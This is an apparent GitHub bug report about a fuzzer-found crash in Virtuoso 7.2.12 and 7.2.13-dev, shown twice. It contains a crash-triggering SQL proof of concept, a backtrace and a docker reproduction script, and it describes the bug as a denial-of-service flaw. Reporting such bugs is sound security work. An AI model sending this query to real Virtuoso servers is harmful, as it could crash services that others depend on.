Fuzzer: Virtuoso 7.2.12 crashed at `find_index_to_vector`.
It can also be reproduced with Version 7.2.13-dev.3239-pthreads as of Mar 17 2024 (da40b02).

PoC:
```SQL
SELECT CASE WHEN CASE WHEN x THEN ( POSITION ( '(' , chr ( -44 ) , 3.140000 + ( CASE WHEN 'b' THEN 2147483647 END ) ) ) END THEN ROUND ( ) END FROM ( SELECT CASE WHEN 'def' THEN 'B' END x ) x;
```

backtrace:
```c
#0 0x6733a1 (find_index_to_vector+0x3b1)
#1 0x675982 (bif_position+0x332)
#2 0x755284 (ins_call_bif+0xc4)
#3 0x75d012 (code_vec_run_v+0x25f2)
#4 0x7b941d (qn_send_output+0xbd)
#5 0x82c545 (subq_node_vec_input+0x4a5)
#6 0x7b912e (qn_input+0x3ce)
#7 0x7b9596 (qn_send_output+0x236)
#8 0x82bd7d (set_ctr_vec_input+0x99d)
#9 0x7b912e (qn_input+0x3ce)
#10 0x7ca91b (qr_exec+0x11db)
#11 0x7d82b6 (sf_sql_execute+0x11a6)
#12 0x7d8dbe (sf_sql_execute_w+0x17e)
#13 0x7e1a7d (sf_sql_execute_wrapper+0x3d)
#14 0xe2a11c (future_wrapper+0x3fc)
#15 0xe31a1e (_thread_boot+0x11e)
#16 0x7f6e94339609 (start_thread+0xd9)
#17 0x7f6e94109353 (clone+0x43)
```

ways to reproduce (write poc to the file /tmp/test.sql first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba  pkleef/virtuoso-opensource-7
# wait the server starting
while ! echo "SELECT 1;" | docker exec -i virtdb_test-dev isql 1111 dba > /dev/null 2>&1; do
    echo "Waiting the server starting..."
    sleep 1
done
# run the poc
cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba
```
Fuzzer: Virtuoso 7.2.12 crashed at `find_index_to_vector`
This is a GitHub Issue
repo:virtuoso-opensource
owner:openlink
Title : Fuzzer: Virtuoso 7.2.12 crashed at `find_index_to_vector`
Issue date:

--- start body ---
Fuzzer: Virtuoso 7.2.12 crashed at `find_index_to_vector`.
It can also be reproduced with Version 7.2.13-dev.3239-pthreads as of Mar 17 2024 (da40b02).

PoC:
```SQL
SELECT CASE WHEN CASE WHEN x THEN ( POSITION ( '(' , chr ( -44 ) , 3.140000 + ( CASE WHEN 'b' THEN 2147483647 END ) ) ) END THEN ROUND ( ) END FROM ( SELECT CASE WHEN 'def' THEN 'B' END x ) x;
```

backtrace:
```c
#0 0x6733a1 (find_index_to_vector+0x3b1)
#1 0x675982 (bif_position+0x332)
#2 0x755284 (ins_call_bif+0xc4)
#3 0x75d012 (code_vec_run_v+0x25f2)
#4 0x7b941d (qn_send_output+0xbd)
#5 0x82c545 (subq_node_vec_input+0x4a5)
#6 0x7b912e (qn_input+0x3ce)
#7 0x7b9596 (qn_send_output+0x236)
#8 0x82bd7d (set_ctr_vec_input+0x99d)
#9 0x7b912e (qn_input+0x3ce)
#10 0x7ca91b (qr_exec+0x11db)
#11 0x7d82b6 (sf_sql_execute+0x11a6)
#12 0x7d8dbe (sf_sql_execute_w+0x17e)
#13 0x7e1a7d (sf_sql_execute_wrapper+0x3d)
#14 0xe2a11c (future_wrapper+0x3fc)
#15 0xe31a1e (_thread_boot+0x11e)
#16 0x7f6e94339609 (start_thread+0xd9)
#17 0x7f6e94109353 (clone+0x43)
```

ways to reproduce (write poc to the file /tmp/test.sql first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba  pkleef/virtuoso-opensource-7
# wait the server starting
while ! echo "SELECT 1;" | docker exec -i virtdb_test-dev isql 1111 dba > /dev/null 2>&1; do
    echo "Waiting the server starting..."
    sleep 1
done
# run the poc
cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba
```
--- end body ---

A segmentation fault in Virtuoso 7.2.12 and 7.2.13-dev.3239-pthreads occurs when executing a specific SQL query that triggers the `find_index_to_vector` function. This vulnerability can be exploited to cause a Denial of Service (DoS) by crashing the server when the provided SQL statement is executed.